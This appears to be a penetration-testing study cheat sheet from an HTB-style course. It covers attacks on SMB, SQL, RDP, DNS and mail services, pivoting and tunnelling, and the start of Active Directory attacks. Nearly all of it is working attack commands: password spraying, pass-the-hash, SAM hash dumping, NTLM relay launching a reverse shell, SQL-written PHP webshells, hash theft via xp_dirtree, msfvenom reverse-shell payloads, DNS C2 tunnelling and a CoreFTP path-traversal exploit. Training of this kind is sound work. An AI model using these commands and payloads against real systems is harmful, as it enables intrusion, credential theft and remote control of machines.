# https://github.com/ShutdownRepo/pywhisker
pywhisker --dc-ip 10.129.234.109 -d INLANEFREIGHT.LOCAL -u wwhite -p 'package5shores_topher1' --target jpinkman --action add
python3 gettgtpkinit.py -cert-pfx ../eFUVVTPf.pfx -pfx-pass 'bmRH4LK7UwPrAOfvIx6W' -dc-ip 10.129.234.109 INLANEFREIGHT.LOCAL/jpinkman /tmp/jpinkman.ccache
export KRB5CCNAME=/tmp/jpinkman.ccache
klist
evil-winrm -i dc01.inlanefreight.local -r inlanefreight.local
```

***

### Attacking Common Services

#### SMB — Interacting with Shares (Windows)

On Windows GUI, press `[WINKEY] + [R]` and type the share location, e.g. `\\192.168.220.129\Finance\`.

`dir` displays a directory's files and subdirectories:

```cmd
dir \\192.168.220.129\Finance\
```

`net use` connects/disconnects a shared resource, mapping to drive `n`:

```cmd
net use n: \\192.168.220.129\Finance
net use n: \\192.168.220.129\Finance /user:plaintext Password123
```

Count files in the shared folder and subdirectories:

```cmd
dir n: /a-d /s /b | find /c ":\"
```

> *\[Screenshot: Pasted image 20250418182004.png]*

```cmd
dir n:\*cred* /s /b
dir n:\*secret* /s /b
```

Search for a specific word within text files using [findstr](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/findstr):

```cmd
findstr /s /i cred n:\*.*
```

#### SMB — Windows PowerShell

```powershell
Get-ChildItem \\192.168.220.129\Finance\
```

Instead of `net use`, use `New-PSDrive`:

```powershell
New-PSDrive -Name "N" -Root "\\192.168.220.129\Finance" -PSProvider "FileSystem"
```

Provide a username/password with a [PSCredential object](https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.pscredential):

```powershell
$username = 'plaintext'
$password = 'Password123'
$secpassword = ConvertTo-SecureString $password -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential $username, $secpassword
New-PSDrive -Name "N" -Root "\\192.168.220.129\Finance" -PSProvider "FileSystem" -Credential $cred
```

Count files (`Get-ChildItem` / `gci`):

```powershell
(Get-ChildItem -File -Recurse | Measure-Object).Count
```

Find specific items with `-Include`:

```powershell
Get-ChildItem -Recurse -Path N:\ -Include *cred* -File
```

`Select-String` (like `grep`/`findstr.exe`):

```powershell
Get-ChildItem -Recurse -Path N:\ | Select-String "cred" -List
```

#### SMB — Interaction from Linux

Linux - Mount:

```bash
sudo mkdir /mnt/Finance
sudo mount -t cifs -o username=plaintext,password=Password123,domain=. //192.168.220.129/Finance /mnt/Finance
```

Alternatively, use a credential file:

```bash
mount -t cifs //192.168.220.129/Finance /mnt/Finance -o credentials=/path/credentialfile
```

> *\[Screenshot: Pasted image 20250418191017.png]* — Note: install `cifs-utils` (`sudo apt install cifs-utils`).

Linux - Find:

```shell-session
find /mnt/Finance/ -name *cred*
```

Linux - Grep:

```shell-session
grep -rn /mnt/Finance/ -ie cred
```

#### MSSQL / MySQL

To interact with [MSSQL](https://www.microsoft.com/en-us/sql-server/sql-server-downloads) from Linux use [sqsh](https://en.wikipedia.org/wiki/Sqsh) or [sqlcmd](https://docs.microsoft.com/en-us/sql/tools/sqlcmd-utility) on Windows.

```bash
sqsh -S 10.129.20.13 -U username -P Password123
```

Windows - SQLCMD:

```cmd
sqlcmd -S 10.129.20.13 -U username -P Password123
```

Linux - MySQL:

```bash
mysql -u username -pPassword123 -h 10.129.20.13
```

GUI alternatives: MySQL [Workbench](https://dev.mysql.com/downloads/workbench/), MSSQL [SSMS](https://docs.microsoft.com/en-us/sql/ssms/download-sql-server-management-studio-ssms), and multi-platform [dbeaver](https://github.com/dbeaver/dbeaver).

A great example is the critical Log4j vulnerability ([CVE-2021-44228](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2021-44228)). An attacker can manipulate the HTTP User-Agent header and insert a JNDI lookup as a command for the Log4j library.

> *\[Screenshot: Pasted image 20250419064942.png]* — <https://authress.io/knowledge-base/academy/topics/access-control-strategies>

#### FTP Attacks

FTP Bounce Attack uses `PORT` to trick the FTP connection into interacting with another device — <https://www.geeksforgeeks.org/what-is-ftp-bounce-attack/>

Brute Forcing with Medusa:

```bash
medusa -u fiona -P /usr/share/wordlists/rockyou.txt -h 10.129.203.7 -M ftp
```

CoreFTP Exploitation based on [CVE-2022-22836](https://nvd.nist.gov/vuln/detail/CVE-2022-22836):

```bash
curl -k -X PUT -H "Host: <IP>" --basic -u <username>:<password> --data-binary "PoC." --path-as-is https://<IP>/../../../../../../whoops
```

<https://www.exploit-db.com/exploits/50652>

> *\[Screenshot: Pasted image 20250419071147.png]*

#### SMB — Misconfigurations & Null Sessions

[MSRPC (Microsoft Remote Procedure Call)](https://en.wikipedia.org/wiki/Microsoft_RPC) provides a generic way to execute a procedure in a local/remote process (RPC over SMB via named pipes).

SMB can be configured not to require authentication — a `null session`.

Using `smbclient`, list shares with `-L`, and use `-N` for null session:

```bash
smbclient -N -L //10.129.14.128
```

Interact with a share on a machine:

```bash
smbclient -N //10.129.203.6/GGJ
```

`Smbmap` enumerates network shares and access permissions:

```bash
smbmap -H 10.129.14.128
```

Recursive browse with `-r`/`-R`:

```bash
smbmap -H 10.129.14.128 -r notes
```

```bash
smbmap -H 10.129.14.128 --download "notes\note.txt"
smbmap -H 10.129.14.128 --upload test.txt "notes\test.txt"
```

Remote Procedure Call (RPC) — enumerate with a null session using `rpcclient`. See this [SANS cheat sheet](https://www.willhackforsushi.com/sec504/SMB-Access-from-Linux.pdf) or the [man page](https://www.samba.org/samba/docs/current/man-html/rpcclient.1.html):

```bash
rpcclient -U'%' 10.10.110.17
```

`Enum4linux` supports null sessions:

```bash
./enum4linux-ng.py 10.10.11.45 -A -C
```

Password Spray with crackmapexec:

```bash
crackmapexec smb 10.10.110.17 -u /tmp/userlist.txt -p 'Company01!' --local-auth
```

<https://web.archive.org/web/20220129050920/https://mpgn.gitbook.io/crackmapexec/getting-started/using-credentials>

Impacket execution tools:

* [Impacket PsExec](https://github.com/SecureAuthCorp/impacket/blob/master/examples/psexec.py) — PsExec-like functionality using [RemComSvc](https://github.com/kavika13/RemCom).
* [Impacket SMBExec](https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbexec.py) — similar approach without RemComSvc; instantiates a local SMB server to receive output (useful when target has no writeable share).
* [Impacket atexec](https://github.com/SecureAuthCorp/impacket/blob/master/examples/atexec.py) — executes a command via the Task Scheduler service.
* [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec) — includes `smbexec` and `atexec` implementations.
* [Metasploit PsExec](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/exploit/windows/smb/psexec.md) — Ruby PsExec implementation.

Connect with `impacket-psexec` using a local admin account:

```bash
impacket-psexec administrator:'Password123!'@10.10.110.17
```

```bash
crackmapexec smb 10.10.110.17 -u Administrator -p 'Password123!' -x 'whoami' --exec-method smbexec
```

Enumerating Logged-on Users:

```bash
crackmapexec smb 10.10.110.0/24 -u administrator -p 'Password123!' --loggedon-users
```

Extract Hashes from SAM Database:

```bash
crackmapexec smb 10.10.110.17 -u administrator -p 'Password123!' --sam
```

Pass-the-Hash (PtH):

```bash
crackmapexec smb 10.10.110.17 -u Administrator -H 2B576ACBE6BCFDA7294D6BD18041B8FE
```

#### Forced Authentication Attacks (Responder / ntlmrelayx)

Create a fake SMB server to capture users' [NetNTLM v1/v2 hashes](https://medium.com/@petergombos/lm-ntlm-net-ntlmv2-oh-my-a9b235c58ed4). The most common tool is [Responder](https://github.com/lgandx/Responder):

```bash
responder -I <interface name>
```

> *\[Screenshot: Pasted image 20250419075725.png]* — The NTLMv2 hash was cracked; password is `P@ssword`.

If we cannot crack the hash, relay it with [impacket-ntlmrelayx](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py) or Responder [MultiRelay.py](https://github.com/lgandx/Responder/blob/master/tools/MultiRelay.py). First set SMB to `OFF` in `/etc/responder/Responder.conf`.

> *\[Screenshot: Pasted image 20250419080030.png]*

```bash
impacket-ntlmrelayx --no-http-server -smb2support -t 10.10.110.146
```

Create a PowerShell reverse shell with <https://www.revshells.com/> (Powershell #3 Base64):

```bash
impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.220.146 -c 'powershell -e base64_reverse_shell'
```

#### SQL Attacks

MSSQL supports two [authentication modes](https://docs.microsoft.com/en-us/sql/connect/ado-net/sql/authentication-sql-server); MySQL supports different [authentication methods](https://dev.mysql.com/doc/internals/en/authentication-method.html).

> *\[Screenshots: Pasted image 20250419083716.png · 20250419083828.png]*

MySQL - Connecting to the SQL Server:

```bash
mysql -u julio -pPassword123 -h 10.129.20.13
```

Sqlcmd - Connecting to the SQL Server:

```cmd
sqlcmd -S SRVMSSQL -U julio -P 'MyPassword!' -y 30 -Y 30
```

**Note:** with `sqlcmd`, `-y` (SQLCMDMAXVARTYPEWIDTH) and `-Y` (SQLCMDMAXFIXEDTYPEWIDTH) improve output; may affect performance.

Targeting MSSQL from Linux with `sqsh`:

```bash
sqsh -S 10.129.203.7 -U julio -P 'MyPassword!' -h
```

Impacket's `mssqlclient.py`:

```bash
mssqlclient.py -p 1433 julio@10.129.203.7
python3 /usr/share/doc/python3-impacket/examples/mssqlclient.py -p 1433 'htbdbuser:MSSQLAccess01!@10.129.164.216'
```

For Windows Authentication, specify domain/hostname. For a local account use `SERVERNAME\\accountname` or `.\\accountname`:

```bash
sqsh -S 10.129.203.7 -U .\\julio -P 'MyPassword!' -h
```

> *\[Screenshot: Pasted image 20250419090040.png]*

SQL Syntax — Show Databases:

```sql
SHOW DATABASES;
```

With `sqlcmd`, use `GO`:

```cmd-session
SELECT name FROM master.dbo.sysdatabases
GO
```

Select a Database:

```sql
USE htbusers;
```

sqlcmd:

```cmd-session
USE htbusers
GO
```

Show Tables:

```sql
SHOW TABLES;
```

sqlcmd:

```cmd-session
SELECT table_name FROM htbusers.INFORMATION_SCHEMA.TABLES
GO
```

Select all Data from Table "users":

```sql
SELECT * FROM users;
```

sqlcmd:

```cmd-session
1> SELECT * FROM users
2> go
```

MSSQL [xp\_cmdshell](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-ver15) allows OS command execution. It is disabled by default; the spawned process has the same security rights as the SQL Server service account; it operates synchronously.

> *\[Screenshot: Pasted image 20250419093754.png]*

XP\_CMDSHELL:

```cmd-session
1> xp_cmdshell 'whoami'
2> GO
```

Enable it (with appropriate privileges):

```sql
EXECUTE sp_configure 'show advanced options', 1
RECONFIGURE
EXECUTE sp_configure 'xp_cmdshell', 1
RECONFIGURE
```

> *\[Screenshot: Pasted image 20250419094050.png]*

`MySQL` supports [User Defined Functions](https://dotnettutorials.net/lesson/user-defined-functions-in-mysql/) allowing C/C++ execution ([lib\_mysqludf\_sys](https://github.com/mysqludf/lib_mysqludf_sys)). MySQL command execution via [SELECT INTO OUTFILE](https://mariadb.com/kb/en/select-into-outfile/):

MySQL - Write Local File:

```sql
SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php';
```

Check `secure_file_priv` (empty = read/write allowed):

```sql
show variables like "secure_file_priv";
```

MSSQL - Enable Ole Automation Procedures (admin privileges required):

```cmd-session
1> sp_configure 'show advanced options', 1
2> GO
3> RECONFIGURE
4> GO
5> sp_configure 'Ole Automation Procedures', 1
6> GO
7> RECONFIGURE
8> GO
```

MSSQL - Create a File:

```cmd-session
1> DECLARE @OLE INT
2> DECLARE @FileID INT
3> EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
4> EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
5> EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
6> EXECUTE sp_OADestroy @FileID
7> EXECUTE sp_OADestroy @OLE
8> GO
```

Read Local Files in MSSQL:

```cmd-session
1> SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
2> GO
```

MySQL - Read Local Files in MySQL:

```sql
select LOAD_FILE("/etc/passwd");
```

Capture MSSQL Service Hash — start [Responder](https://github.com/lgandx/Responder) or [impacket-smbserver](https://github.com/SecureAuthCorp/impacket) then:

XP\_DIRTREE Hash Stealing:

```sql
1> EXEC master..xp_dirtree '\\10.10.110.17\share\'
2> GO
```

XP\_SUBDIRS Hash Stealing:

```sql
1> EXEC master..xp_subdirs '\\10.10.110.17\share\'
2> GO
```

XP\_SUBDIRS Hash Stealing with Responder:

```shell-session
sudo responder -I tun0
EXEC master..xp_dirtree '\\10.10.15.53\share\
```

XP\_SUBDIRS Hash Stealing with impacket:

```shell-session
sudo impacket-smbserver share ./ -smb2support
```

Crack the captured hash:

```bash
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
```

SQL Server `IMPERSONATE` privilege — identify users we can impersonate:

```sql
1> SELECT distinct b.name
2> FROM sys.server_permissions a
3> INNER JOIN sys.server_principals b
4> ON a.grantor_principal_id = b.principal_id
5> WHERE a.permission_name = 'IMPERSONATE'
6> GO
```

Verify current sysadmin role:

```sql
1> SELECT SYSTEM_USER
2> SELECT IS_SRVROLEMEMBER('sysadmin')
3> go
```

Impersonating the SA User:

```sql
1> EXECUTE AS LOGIN = 'sa'
2> SELECT SYSTEM_USER
3> SELECT IS_SRVROLEMEMBER('sysadmin')
4> GO
```

**Note:** run `EXECUTE AS LOGIN` within the master DB (`USE master`). Revert with `REVERT`.

Communicate with Other Databases — MSSQL [linked servers](https://docs.microsoft.com/en-us/sql/relational-databases/linked-servers/create-linked-servers-sql-server-database-engine):

Identify linked Servers in MSSQL:

```sql
1> SELECT srvname, isremote FROM sysservers
2> GO
```

Send pass-through commands to linked servers with [EXECUTE](https://docs.microsoft.com/en-us/sql/t-sql/language-elements/execute-transact-sql):

```sql
1> EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS]
2> GO
```

#### RDP Attacks

Crowbar - RDP Password Spraying (using [Crowbar](https://github.com/galkan/crowbar)):

```bash
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
```

Hydra - RDP Password Spraying:

```bash
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
```

RDP Login:

```bash
rdesktop -u admin -p password123 192.168.2.143
```

RDP Session Hijacking — need `SYSTEM` privileges and [tscon.exe](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/tscon):

```cmd
tscon #{TARGET_SESSION_ID} /dest:#{OUR_SESSION_NAME}
```

```cmd
sc.exe create sessionhijack binpath= "cmd.exe /k tscon 2 /dest:rdp-tcp#13"
net start sessionhijack
```

RDP Pass-the-Hash (PtH) — needs `Restricted Admin Mode` enabled. Adding the DisableRestrictedAdmin Registry Key:

```cmd
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f
```

```bash
xfreerdp /v:192.168.220.152 /u:lewen /pth:300FF5E89EF33F83A8146C10F5AB9BB9
```

#### DNS Attacks

DIG - AXFR Zone Transfer:

```bash
dig AXFR @ns1.inlanefreight.htb inlanefreight.htb
```

[Fierce](https://github.com/mschwager/fierce) enumerates DNS servers and scans for a zone transfer:

```bash
fierce --domain zonetransfer.me
```

Subdomain Enumeration:

```bash
./subfinder -d inlanefreight.com -v
```

> *\[Screenshot: Pasted image 20250419122155.png]* — Subbrute. The [can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz) repository is an excellent subdomain-takeover reference.

DNS Spoofing — Local DNS Cache Poisoning with [Ettercap](https://www.ettercap-project.org/) or [Bettercap](https://www.bettercap.org/). For Ettercap, edit `/etc/ettercap/etter.dns` to map the target domain (e.g. `inlanefreight.com`) to the attacker's IP (e.g. `192.168.225.110`).

#### Mail Attacks

Password spray Office 365 / Gmail / Okta with [o365spray](https://github.com/0xZDH/o365spray), [MailSniper](https://github.com/dafthack/MailSniper), or [CredKing](https://github.com/ustayready/CredKing):

```bash
python3 o365spray.py --enum -U users.txt --domain msplaintext.xyz
```

```bash
python3 o365spray.py --validate --domain msplaintext.xyz
```

O365 Spray - Password Spraying:

```bash
python3 o365spray.py --spray -U usersfound.txt -p 'March2022!' --count 1 --lockout 1 --domain msplaintext.xyz
```

```bash
smtp-user-enum -M RCPT -U userlist.txt -D inlanefreight.htb -t 10.129.203.7
```

```bash
smtp-user-enum -M RCPT -U users.list -D inlanefreight.htb -t 10.129.203.7
```

Easy lab: <https://hacknseek.gitlab.io/certifications/CPTS/attacking-common-services/attacking-common-services-easy/#file-analysis>

***

### Pivoting, Tunneling & Port Forwarding

**References:** <https://github.com/twelvesec/port-forwarding> · <https://github.com/b4rdia/HackTricks/blob/master/generic-methodologies-and-resources/tunneling-and-port-forwarding.md>

> *\[Screenshots: Pasted image 20250422062724.png · 20250421071545.png]*

#### Ping Sweeps

For Loop on Linux Pivot Hosts:

```bash
for i in {1..254} ;do (ping -c 1 172.16.5.$i | grep "bytes from" &) ;done
for ip in 172.16.5.{1..254}; do ping -c 1 -W 2 $ip > /dev/null 2>&1 && echo "$ip is up" || echo "$ip is down" ;done
```

Using CMD:

```cmd
for /L %i in (1 1 254) do ping 172.16.5.%i -n 1 -w 100 | find "Reply"
```

Using PowerShell:

```powershell
1..254 | % {"172.16.5.$($_): $(Test-Connection -count 1 -comp 172.15.5.$($_) -quiet)"}
```

#### Metasploit SOCKS Proxy & Autoroute

Configuring MSF's SOCKS Proxy:

```shell-session
use auxiliary/server/socks_proxy
set SRVPORT 9050
set SRVHOST 0.0.0.0
set version 4a
run
```

> *\[Screenshot: Pasted image 20250421070308.png]*

Route traffic via the Meterpreter session with `post/multi/manage/autoroute`:

```shell-session
use post/multi/manage/autoroute
set SESSION 1
set SUBNET 172.16.5.0
run
```

Add routes from the Meterpreter session:

```shell-session
run autoroute -s 172.16.5.0/23
```

Use proxychains to route Nmap traffic:

```shell-session
proxychains nmap 172.16.5.19 -p3389 -sT -v -Pn
```

#### Port Forwarding (Meterpreter)

Creating Local TCP Relay:

```shell-session
portfwd add -l 3300 -p 3389 -r 172.16.5.19
```

The command starts a listener on local port `3300` and forwards packets to `172.16.5.19:3389`. Then:

```shell-session
xfreerdp /v:localhost:3300 /u:victor /p:pass@123
```

Meterpreter Reverse Port Forwarding:

```shell-session
portfwd add -R -l 8081 -p 1234 -L 10.10.14.18
```

> *\[Screenshot: Pasted image 20250422063808.png]*

Generating the Windows Payload:

```shell-session
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.5.129 -f exe -o backupscript.exe LPORT=1234
```

#### Socat Redirection

Socat Redirection with a Reverse Shell — [Socat](https://linux.die.net/man/1/socat) is a bidirectional relay:

```shell-session
socat TCP4-LISTEN:8080,fork TCP4:10.10.14.18:80
```

Create a reverse shell with msfvenom:

```shell-session
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=172.16.5.129 -f exe -o backupscript.exe LPORT=8080
```

On your machine:

```shell-session
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set lhost 0.0.0.0
set lport 80
run
```

Socat Redirection with a Bind Shell:

> *\[Screenshot: Pasted image 20250422081745.png]*

```shell-session
msfvenom -p windows/x64/meterpreter/bind_tcp -f exe -o backupscript.exe LPORT=8443
```

Start the socat bind shell listener on the Ubuntu machine:

```shell-session
socat TCP4-LISTEN:8080,fork TCP4:172.16.5.19:8443
```

Start the bind multi/handler:

```shell-session
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set RHOST 10.129.202.64
set LPORT 8080
run
```

#### SSH / Plink Dynamic Port Forwarding

> *\[Screenshot: Pasted image 20250422105335.png]* — Windows-based attack host.

```cmd-session
plink -ssh -D 9050 ubuntu@10.129.15.50
```

SSH Pivoting with Sshuttle — <https://github.com/sshuttle/sshuttle>:

```shell-session
sudo sshuttle -r ubuntu@10.129.202.64 172.16.5.0/23 -v
```

#### Rpivot (Reverse SOCKS Proxy)

[Rpivot](https://github.com/klsecservices/rpivot) is a reverse SOCKS proxy in Python.

> *\[Screenshot: Pasted image 20250422112608.png]*

```shell-session
git clone https://github.com/klsecservices/rpivot.git
apt-get install python2.7
```

> *\[Screenshot: Pasted image 20250422112736.png]*

Running server.py from the Attack Host:

```shell-session
python2.7 server.py --proxy-port 9050 --server-port 9999 --server-ip 0.0.0.0
```

Transferring rpivot to the pivot Target:

```shell-session
scp -r rpivot ubuntu@<IpaddressOfTarget>:/home/ubuntu/
```

Running client.py from Pivot Target:

```shell-session
python2.7 client.py --server-ip 10.10.14.18 --server-port 9999
```

Connecting to a Web Server using HTTP-Proxy & NTLM Auth:

```shell-session
python client.py --server-ip <IPaddressofTargetWebServer> --server-port 8080 --ntlm-proxy-ip <IPaddressofProxy> --ntlm-proxy-port 8081 --domain <nameofWindowsDomain> --username <username> --password <password>
```

#### Port Forwarding with Windows Netsh

[Netsh](https://docs.microsoft.com/en-us/windows-server/networking/technologies/netsh/netsh-contexts) can find routes, view firewall config, add proxies, and create port-forwarding rules.

> *\[Screenshot: Pasted image 20250422124507.png]*

Forward all data received on a port to a remote host/port:

```cmd-session
netsh.exe interface portproxy add v4tov4 listenport=8080 listenaddress=pivothost connectport=3389 connectaddress=the_host_to_pivot
```

Verifying Port Forward:

```cmd-session
etsh.exe interface portproxy show v4tov4
```

#### DNS Tunneling with Dnscat2

[Dnscat2](https://github.com/iagox86/dnscat2) tunnels data over DNS with an encrypted C2 channel (TXT records):

```shell-session
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
sudo gem install bundler
sudo bundle install
```

Starting the dnscat2 server:

```shell-session
sudo ruby dnscat2.rb --dns host=10.10.14.18,port=53,domain=inlanefreight.local --no-cache
```

Cloning dnscat2-powershell to the Attack Host:

```shell-session
git clone https://github.com/lukebaggett/dnscat2-powershell.git
```

Importing dnscat2.ps1:

```powershell-session
Import-Module .\dnscat2.ps1
```

Establish a tunnel and send back a CMD shell:

```powershell-session
Start-Dnscat2 -DNSserver 10.10.14.18 -Domain inlanefreight.local -PreSharedSecret 0ec04a91cd1e963f8c03ca499d589d21 -Exec cmd
```

Interacting with the Established Session (list options with `?`):

```shell-session
window -i 1
```

#### SOCKS5 Tunneling with Chisel

<https://0xdf.gitlab.io/cheatsheets/chisel> · <https://www.youtube.com/watch?v=Yp4oxoQIBAM> — [Chisel](https://github.com/jpillora/chisel) is a TCP/UDP tunneling tool in Go using HTTP secured with SSH.

```shell-session
git clone https://github.com/jpillora/chisel.git
```

Build the binary:

```shell-session
sudo apt install golang-go
go build
```

Install Chisel from Pre-built Binary:

```bash
# Download latest release
wget https://github.com/jpillora/chisel/releases/download/v1.11.3/chisel_1.11.3_linux_amd64.gz
gunzip chisel_1.11.3_linux_amd64.gz
chmod +x chisel_1.11.3_linux_amd64
sudo mv chisel_1.11.3_linux_amd64 /usr/local/bin/chisel
```

Transferring Chisel Binary to Pivot Host:

```shell-session
scp chisel ubuntu@10.129.202.64:~/
```

Running the Chisel Server on the Pivot Host:

```shell-session
./chisel server -v -p 1234 --socks5
```

Connecting to the Chisel Server:

```shell-session
./chisel client -v Pivot_host_IP:1234 socks
```

> *\[Screenshots: Pasted image 20250423104754.png · 20250423104844.png]* — modify `/etc/proxychains.conf`, adding `1080` at the end.

Pivoting to the DC:

```shell-session
proxychains xfreerdp /v:172.16.5.19 /u:victor /p:pass@123
```

Chisel Reverse Pivot — Starting the Chisel Server on our Attack Host:

```shell-session
sudo ./chisel server --reverse -v -p 1234 --socks5
```

Connecting the Chisel Client to our Attack Host (from the pivot host):

```shell-session
./chisel client -v 10.10.14.17:1234 R:socks
```

Don't forget to comment out the `socks4` line in `/etc/proxychains.conf` to use socks5.

#### ICMP Tunneling with Ptunnel-ng

```shell-session
git clone https://github.com/utoni/ptunnel-ng.git
```

Building Ptunnel-ng with Autogen.sh:

```shell-session
sudo ./autogen.sh
```

Alternative approach of building a static binary:

```shell-session
sudo apt install automake autoconf -y
cd ptunnel-ng/
sed -i '$s/.*/LDFLAGS=-static "${NEW_WD}\/configure" --enable-static $@ \&\& make clean \&\& make -j${BUILDJOBS:-4} all/' autogen.sh
./autogen.sh
```

Transferring Ptunnel-ng to the Pivot Host:

```shell-session
scp -r ptunnel-ng ubuntu@10.129.202.64:~/
```

Starting the ptunnel-ng Server on the Target Host:

```shell-session
sudo ./ptunnel-ng -r10.129.202.64 -R22
```

Connecting to ptunnel-ng Server from Attack Host:

```shell-session
sudo ./ptunnel-ng -p10.129.202.64 -l2222 -r10.129.202.64 -R22
```

Connect to the target using SSH through local port 2222:

```shell-session
ssh -p2222 -lubuntu 127.0.0.1
```

Enabling Dynamic Port Forwarding over SSH:

```shell-session
ssh -D 9050 -p2222 -lubuntu 127.0.0.1
```

With an SSH id\_rsa key, do SSH port forwarding:

```bash
sudo ssh -D 9050 webadmin@10.129.202.28 -i id_rsa
```

#### RDP and SOCKS Tunneling with SocksOverRDP

> *\[Screenshot: Pasted image 20250423162835.png]* — <https://github.com/nccgroup/SocksOverRDP> · <https://www.proxifier.com/>

Load the SocksOverRDP.dll on the Windows target:

```cmd-session
regsvr32.exe SocksOverRDP-Plugin.dll
```

Downloads: `wget https://github.com/nccgroup/SocksOverRDP/releases/download/v1.0/SocksOverRDP-x64.zip` · `wget https://www.proxifier.com/download/ProxifierPE.zip`

<https://app.diagrams.net/> is good to visualize the network. More pivoting resources: <https://rastamouse.me/> · <https://posts.specterops.io/offensive-security-guide-to-ssh-tunnels-and-proxies-b525cbd4d4c6> · <https://www.hackthebox.com/blog/category/red-teaming> · Skills Assessment: <https://medium.com/@ibrahima.ndong/skills-assessment-htb-pivoting-tunneling-and-port-forwarding-17005f5cd432>

***

### Active Directory Enumeration & Attacks

**References & tooling:**

* <https://bloodhound.readthedocs.io/en/latest/data-analysis/edges.html#adminto>
* <https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab>
* <https://wadcoms.github.io/> · <https://www.netexec.wiki/>
* PowerView: <https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1> · SharpView: <https://github.com/dmchell/SharpView>
* BloodHound: <https://github.com/SpecterOps/BloodHound-Legacy> · Collectors: <https://github.com/SpecterOps/BloodHound-Legacy/tree/master/Collectors> · <https://github.com/dirkjanm/BloodHound.py>
* Kerbrute: <https://github.com/ropnop/kerbrute> · Impacket: <https://github.com/fortra/impacket> · Responder: <https://github.com/lgandx/Responder>
* Inveigh: <https://github.com/Kevin-Robertson/Inveigh/blob/master/Inveigh.ps1> · <https://github.com/Kevin-Robertson/Inveigh/tree/master/Inveigh>
* CrackMapExec: <https://github.com/byt3bl33d3r/CrackMapExec> · Rubeus: <https://github.com/GhostPack/Rubeus> · GetUserSPNs.py: <https://github.com/fortra/impacket/blob/master/examples/GetUserSPNs.py> · Hashcat: <https://hashcat.net/hashcat/>
* enum4linux: <https://github.com/CiscoCXSecurity/enum4linux> · enum4linux-ng: <https://github.com/cddmp/enum4linux-ng> · ldapsearch: <https://linux.die.net/man/1/ldapsearch> · windapsearch: <https://github.com/ropnop/windapsearch>
* DomainPasswordSpray: <https://github.com/dafthack/DomainPasswordSpray> · LAPSToolkit: <https://github.com/leoloobeek/LAPSToolkit> · smbmap: <https://github.com/ShawnDEvans/smbmap>
* psexec.py: <https://github.com/fortra/impacket/blob/master/examples/psexec.py> · wmiexec.py: <https://github.com/fortra/impacket/blob/master/examples/wmiexec.py> · Snaffler: <https://github.com/SnaffCon/Snaffler>
* Mimikatz: <https://github.com/ParrotSec/mimikatz> · smbserver.py: <https://github.com/fortra/impacket/blob/master/examples/smbserver.py> · secretsdump.py: <https://github.com/fortra/impacket/blob/master/examples/secretsdump.py> · evil-winrm: <https://github.com/Hackplayers/evil-winrm> · mssqlclient.py: <https://github.com/fortra/impacket/blob/master/examples/mssqlclient.py>
* noPac: <https://github.com/Ridter/noPac> · rpcdump.py: <https://github.com/fortra/impacket/blob/master/examples/rpcdump.py> · CVE-2021-1675: <https://github.com/cube0x0/CVE-2021-1675/blob/main/CVE-2021-1675.py> · ntlmrelayx.py: <https://github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py> · PetitPotam: <https://github.com/topotam/PetitPotam>
* PKINITtools: <https://github.com/dirkjanm/PKINITtools/blob/master/gettgtpkinit.py> · <https://github.com/dirkjanm/PKINITtools/blob/master/getnthash.py> · adidnsdump: <https://github.com/dirkjanm/adidnsdump> · gpp-decrypt: <https://github.com/t0thkr1s/gpp-decrypt>
* GetNPUsers.py: <https://github.com/fortra/impacket/blob/master/examples/GetNPUsers.py> · lookupsid.py: <https://github.com/fortra/impacket/blob/master/examples/lookupsid.py> · ticketer.py: <https://github.com/fortra/impacket/blob/master/examples/ticketer.py> · raiseChild.py: <https://github.com/fortra/impacket/blob/master/examples/raiseChild.py>
* ADExplorer: <https://learn.microsoft.com/en-us/sysinternals/downloads/adexplorer> · PingCastle: <https://www.pingcastle.com/documentation/> · Group3r: <https://github.com/Group3r/Group3r> · ADRecon: <https://github.com/adrecon/ADRecon>

> *\[Screenshots: Pasted image 20250424192916.png · 20250424192943.png · 20250424193007.png · 20250424193022.png]*

<https://dehashed.com/> is excellent for hunting cleartext credentials and hashes in breach data. Use [linkedin2username](https://github.com/initstring/linkedin2username) to scrape a company's LinkedIn page and build username mashups (flast, first.last, f.last, etc.).

#### Host Discovery

FPing Active Checks ([Fping](https://fping.org/)):

```shell-session
fping -asgq 172.16.5.0/23
```

#### Kerbrute Setup

<https://github.com/ropnop/kerbrute> quickly bruteforces and enumerates valid AD accounts via Kerberos Pre-Auth. Pre-built binaries: <https://github.com/ropnop/kerbrute/releases/tag/v1.0.3> or build locally:

```shell-session
sudo git clone https://github.com/ropnop/kerbrute.git
